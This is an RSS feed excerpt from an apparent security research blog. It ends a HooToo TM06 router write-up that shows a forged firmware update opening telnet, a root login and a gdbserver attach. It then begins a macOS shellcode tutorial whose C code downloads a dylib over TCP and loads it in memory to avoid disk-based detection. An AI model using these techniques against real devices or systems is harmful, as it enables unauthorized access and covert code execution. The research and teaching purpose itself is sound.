&lt;p&gt;Using my Mac Book Pro, I generated a check sum using the same command that was found in the official update. Notice that I’m using an older version of the firmware than the one I mentioned above. This is because at the time of this research version 2.000.030 was the latest. So far, such details are not relevant to the work in this writeup.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ sed '1,3d' fw-7620-WiFiDGRJ-HooToo-633-HT-TM06-2.000.030 \
  |cksum|sed -e 's/ /Z/' -e 's/   /Z/'|cut -dZ -f1
3784598516
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;D’oh! It doesn’t match! The number in the firmware file is &lt;code class=&quot;highlighter-rouge&quot;&gt;3587589093&lt;/code&gt;. That’s weird! This was a real head scratcher for a while because I really wanted to be able to generate a CRC number that matches what the device expects. After a few hours of unproductive search, I decided to try it on my Ubuntu VM.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mike@ubuntu:~$ sed '1,3d' fw-7620-WiFiDGRJ-HooToo-633-HT-TM06-2.000.030 \
              |cksum|sed -e 's/ /Z/' -e 's/   /Z/'|cut -dZ -f1
3587589093
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Worked! I still don’t know what the deal is - I’m sure there is a simple explanation. It looks like the &lt;code class=&quot;highlighter-rouge&quot;&gt;cksum&lt;/code&gt; command on Linux uses a different algorithm compared to the one on OS X. Probably should have done this sooner given that the device runs a version of Linux. Lessons learned!&lt;/p&gt;

&lt;p&gt;With this information, I constructed another shell script with a proper CRC checksum this time:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#!/bin/sh&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# constant&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;CRCSUM&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;2787560248
&lt;span class=&quot;nv&quot;&gt;VENDOR&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;HooToo
&lt;span class=&quot;nv&quot;&gt;PRODUCTLINE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;WiFiDGRJ
&lt;span class=&quot;nv&quot;&gt;SKIP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;263
&lt;span class=&quot;nv&quot;&gt;TARGET_OS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;linux&quot;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;TARGET_ARCH&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;arm&quot;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;DEVICE_TYPE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;HT-TM06
&lt;span class=&quot;nv&quot;&gt;VERSION&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;2000030
&lt;span class=&quot;nv&quot;&gt;CPU&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;7620

/bin/sh /etc/init.d/opentelnet.sh

&lt;span class=&quot;nb&quot;&gt;exit &lt;/span&gt;1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Those other lines are a copy/paste by product. Since the CRC was already generated, I didn’t want to take them out. Upon uploading this as a firmware update, the device gave me an error. However, doing a network scan, I saw that telnet was open! This means that the error was generated by the &lt;code class=&quot;highlighter-rouge&quot;&gt;exit 1&lt;/code&gt;, rather than by incompatible firmware.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ nmap 192.168.1.1
Nmap scan report for 192.168.1.1
Host is up (0.0092s latency).
PORT   STATE SERVICE
23/tcp open  telnet
80/tcp open  http
81/tcp open  hosts2-ns

Nmap done: 1 IP address (1 host up) scanned in 0.19 seconds
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The custom update enabled us to login using the cracked root password:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ telnet 192.168.1.1
Connected to 192.168.1.1.
Escape character is '^]'.

HT-TM06 login: root
Password:
login: can't chdir to home directory '/root'
# ls
bin     data    etc     home    media   opt     sbin    tmp     var
boot    dev     etc_ro  lib     mnt     proc    sys     usr     www
# Connection closed by foreign host.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We are in business! Getting a command shell on an embedded device is so exciting :-) But, let’s move on. The title of this section is ‘Getting a debugger’ and that is what I want. GDB comes to mind, however, I do not find it on the device. This means we will have to find a version that runs on MIPS. After some googling, I found that &lt;a href=&quot;https://github.com/rapid7/embedded-tools&quot;&gt;Rapid7&lt;/a&gt; has actually published a version of the GDB server that runs on MIPS. Although, we have a terminal session on the device, there’s not really a good way of uploading files to it. However, it does automatically mount USB storage devices which is super convenient.&lt;/p&gt;

&lt;p&gt;We attach to a process like so:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# /data/UsbDisk1/Volume1/gdbserver.mipsle --attach *:9999 7344
Attached; pid = 7344
Listening on port 9999
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then, we use gdb-multiarch to connect to the server. I haven’t been able to get that to work on OS X, so I used the easy way on Ubuntu:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mike@ubuntu:~$ gdb-multiarch
(gdb) target remote 192.168.1.1:9999
Remote debugging using 192.168.1.1:9999
0x2bb5595c in ?? ()
(gdb) i r
          zero       at       v0       v1       a0       a1       a2       a3
 R0   0000102e 00000001 00000202 00000030 00000012 7fa22670 00000000 00000001
            t0       t1       t2       t3       t4       t5       t6       t7
 R8   7fa22570 7fa22670 2bbe548c 00000001 00100000 e2f038ed 808c1c90 808c1ca8
            s0       s1       s2       s3       s4       s5       s6       s7
 R16  7fa22670 ffffffff 2bbe0aa4 00000012 00000001 7fa22824 00000000 00000000
            t8       t9       k0       k1       gp       sp       s8       ra
 R24  00000000 2bb55920 00000000 00000000 2bbe75d0 7fa212a0 00417e5c 004b3988
        status       lo       hi badvaddr    cause       pc
      0100ff13 00003ffc 00000000 004b37ec 50800020 2bb5595c
          fcsr      fir      hi1      lo1      hi2      lo2      hi3      lo3
      00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
        dspctl  restart
      00000000 0000102e
(gdb)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Cool! We have a debugger.&lt;/p&gt;

&lt;h1 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;Secure infrastructure is important. It is important even to a digital nomad, whether they are a permanent nomad or just a temporary one. Based on research by several security professionals, we’ve seen how hard it can be to get secure infrastructure on the go. HooToo tries to provide an additional layer of security via the Trip Mate travel router.&lt;/p&gt;

&lt;p&gt;In this post, we have discovered the surface area that could potentially be used for attacks. We have also seen how a researcher could gain shell access to their device by uploading fake firmware updates. Using these methods, it becomes possible to obtain the binaries that execute on the device as well as set up a dynamic analysis environment.&lt;/p&gt;

</description>
        <pubDate>Sun, 19 Mar 2017 00:00:00 +0000</pubDate>
        <link>http://debugtrap.com/2017/03/19/tm06-travel-safe/</link>
        <guid isPermaLink="true">http://debugtrap.com/2017/03/19/tm06-travel-safe/</guid>
      </item>
     
    
     
      <item>
        <title>Loading from memory</title>
        <description>&lt;p&gt;Building shellcode and playing with assembly is my idea of fun. In this article I introduce shellcode that executes to download a dynamic library from a TCP connection and loads it without ever touching the disk. On MacOS, there are several methods of doing that [1], but I would like to show another alternative which possibly requires less code to implement.&lt;/p&gt;

&lt;h2 id=&quot;tldr&quot;&gt;TL;DR;&lt;/h2&gt;

&lt;p&gt;I reuse functions in DYLD that were never meant to be used externally.&lt;/p&gt;

&lt;h2 id=&quot;shellcode-compiler&quot;&gt;Shellcode Compiler&lt;/h2&gt;

&lt;p&gt;A while back I introduced a utility called &lt;a href=&quot;https://github.com/nologic/shellcc&quot;&gt;shellcc&lt;/a&gt; which is built to assist with building shellcode using a high level language like C. It is called &lt;em&gt;shellcc&lt;/em&gt; only because it constructs very compact byte code of instructions. Unfortunately, it does not really handle a lot of the important use-cases of for real shellcode construction. Use-cases such as character restrictions. As such, the tool serves another purpose really well.&lt;/p&gt;

&lt;p&gt;I show this use-case in an introductory walk through:&lt;/p&gt;

&lt;center&gt;&lt;iframe width=&quot;420&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/yg9svg9xE8g&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;&lt;/center&gt;

&lt;p&gt;When I started out my work on iOS, I did not know Aarch64 assembly very well. So, I needed a boon to help me bootstrap. This was the other purpose of &lt;em&gt;shellcc&lt;/em&gt; - an educational tool. I would use it to compile basic C programs in order to understand how the assembly is written to make system calls and process data. So, the tool is kind of an 80% solution that would give me template assembly that I could later play with. It also helped me with reverse engineering. Specifically to test theories about what certain blocks from IDAPro might have looked like in a high level language.&lt;/p&gt;

&lt;p&gt;On semi-regular basis, I try to do presentations at the NYU OSIRIS lab for educational purposes. I pick a topic that I had played with recently and found useful and present in practical detail. I wanted to do this with &lt;em&gt;shellcc&lt;/em&gt; and, so, I came up with a practial example: &lt;em&gt;How to write one of the most common shellcodes? One that connects to a TCP port, downloads a dylib and loads it into the process space.&lt;/em&gt; As an added challenge, I wanted to do so without touching disk (and triggering personal security products). This is what I would like to present in this blog. Of course, as I’ve mentioned earlier, there is more than one way.&lt;/p&gt;

&lt;h2 id=&quot;the-technique&quot;&gt;The Technique&lt;/h2&gt;

&lt;p&gt;The file that implements the technique is called &lt;a href=&quot;https://github.com/nologic/shellcc/blob/master/shellcode/injectdyld.c&quot;&gt;injectdyld.c&lt;/a&gt; and can be found in the github repository. The name is a bit misleading, but the the technique is there.&lt;/p&gt;

&lt;p&gt;First, we connect to the port and download the library:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    &lt;span class=&quot;n&quot;&gt;bzero&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sockaddr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;serv_addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;serv_addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;serv_addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sin_family&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;AF_INET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;serv_addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sin_addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s_addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SERVER_IP&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;serv_addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sin_port&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;htons&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SERVER_PORT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// Connect to the remote host.
&lt;/span&gt;    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;scc_connect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sockfd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sockaddr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;serv_addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                   &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;serv_addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// If not, clean up and bail.
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;scc_exit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;44&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fileSize&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;receivefile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sockfd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dyld_buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mem_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Next, we load the dynamic loader:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dyld_fd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;scc_open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;/usr/lib/dyld&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;O_RDONLY&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dyld_buf&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;scc_mmap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mem_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PROT_READ&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
                              &lt;span class=&quot;n&quot;&gt;MAP_PRIVATE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dyld_fd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This step is a bit wasteful because the process would’ve likely already had the dynamic loader mapped in memory. However, we are in shell code and it is a lot easier to map the file than to find the existing location.&lt;/p&gt;

&lt;p&gt;Then, we find the symbol &lt;code class=&quot;highlighter-rouge&quot;&gt;dlsym&lt;/code&gt; which will help us find other symbols in the process space.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    &lt;span class=&quot;k&quot;&gt;typedef&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dlsym_t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;handle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;symbol&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;dlsym_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dlsym&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dlsym_t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;findSymbol64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dyld_buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mem_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
                                          &lt;span class=&quot;s&quot;&gt;&quot;_dlsym&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;highlighter-rouge&quot;&gt;findSymbol64&lt;/code&gt; exists in the shellcode and it parses the Mach-O file of &lt;code class=&quot;highlighter-rouge&quot;&gt;dyld&lt;/code&gt; to locate the function.&lt;/p&gt;

&lt;p&gt;Then we locate the &lt;code class=&quot;highlighter-rouge&quot;&gt;loadFromMemory&lt;/code&gt; function or, rather, a C++ class constructor.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    &lt;span class=&quot;k&quot;&gt;typedef&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;loadFromMemory_t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
       &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;uint8_t&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;uint64_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;moduleName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;loadFromMemory_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;loadFromMemory&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;loadFromMemory_t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;findSymbol64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
          &lt;span class=&quot;n&quot;&gt;dyld_buf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mem_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;__ZN4dyld14loadFromMemoryEPKhyPKc&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;33&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;image&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;loadFromMemory&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dyld_buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fileSize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;One day, while reading the DYLD source code, I discovered the &lt;code class=&quot;highlighter-rouge&quot;&gt;loadFromMemory&lt;/code&gt; function which is used internally to parse a memory blob. Its mangled name is &lt;a href=&quot;https://opensource.apple.com/source/dyld/dyld-353.2.1/src/dyld.cpp&quot;&gt;__ZN4dyld14loadFromMemoryEPKhyPKc&lt;/a&gt; and the source preamble is below. This function constructs an &lt;code class=&quot;highlighter-rouge&quot;&gt;ImageLoader&lt;/code&gt; class object in memory to internally describe the layout and all the features that the system cares about.&lt;/p&gt;

&lt;div class=&quot;language-c++ highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;ImageLoader&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;loadFromMemory&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;uint8_t&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;uint64_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
                            &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;moduleName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// if fat wrapper, find usable sub-file
&lt;/span&gt;    &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fat_header&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;memStartAsFat&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fat_header&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mem&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;uint64_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fileOffset&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;uint64_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;fileLength&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;memStartAsFat&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;magic&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;OSSwapBigToHostInt32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;FAT_MAGIC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
